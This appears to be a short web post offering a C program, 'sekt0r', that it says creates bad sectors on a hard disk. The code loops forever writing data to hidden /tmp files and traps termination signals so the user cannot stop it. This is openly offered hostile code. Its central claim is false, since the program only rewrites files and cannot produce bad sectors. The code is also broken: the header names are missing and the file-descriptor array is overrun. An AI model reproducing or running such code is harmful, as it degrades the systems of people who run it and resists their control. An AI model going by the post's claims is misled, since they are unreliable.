Create BAD sectors on HDD

This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */

void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}